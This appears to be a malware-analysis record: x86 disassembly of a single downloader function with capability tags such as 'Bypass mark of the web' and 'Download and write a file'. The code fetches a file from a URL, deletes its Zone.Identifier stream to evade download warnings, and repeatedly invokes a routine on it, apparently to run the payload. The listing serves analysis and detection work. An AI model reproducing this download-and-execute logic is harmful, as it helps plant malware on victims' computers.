Function at 0x4010b0
Capabilities:
Bypass mark of the web
Check if file exists
Create http request
Delete file
Download and write a file
Download url
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x32c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
add esp, 4
mov byte [ebp - 0x109], 0
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_83.0.4103.116_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
je 0x401270
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x32c]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
je 0x401263
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push 0x4034a0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0xffffffff
je 0x401256
lea edx, [ebp - 0x328]
push edx
push 0x103
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4011a1
cmp dword [ebp - 0x328], 0
je 0x4011a1
push 0
lea edx, [ebp - 0x324]
push edx
mov eax, dword [ebp - 0x328]
push eax
lea ecx, [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x40114e
mov eax, dword [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4034a0
push 0x402220
lea ecx, [ebp - 0x320]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4034a0
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401256
mov byte [ebp - 0x109], 1
push 0x4034a0
call section..text
add esp, 4
push _encode_pointer
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4034a0
call section..text
add esp, 4
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4034a0
call section..text
add esp, 4
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4034a0
call section..text
add esp, 4
mov eax, dword [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x32c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, byte [ebp - 0x109]
test eax, eax
jne 0x401371
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
imul edx, edx, 5
add edx, 0x2710
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4034a0
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4012ce
push 0x4034a0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0x4034a0
mov edx, dword [ebp + 8]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jne 0x401371
push 0x4034a0
push str._s:Zone.Identifier
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x320]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4034a0
call section..text
add esp, 4
push _encode_pointer
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4034a0
call section..text
add esp, 4
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4034a0
call section..text
add esp, 4
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4034a0
call section..text
add esp, 4
mov esp, ebp
pop ebp
ret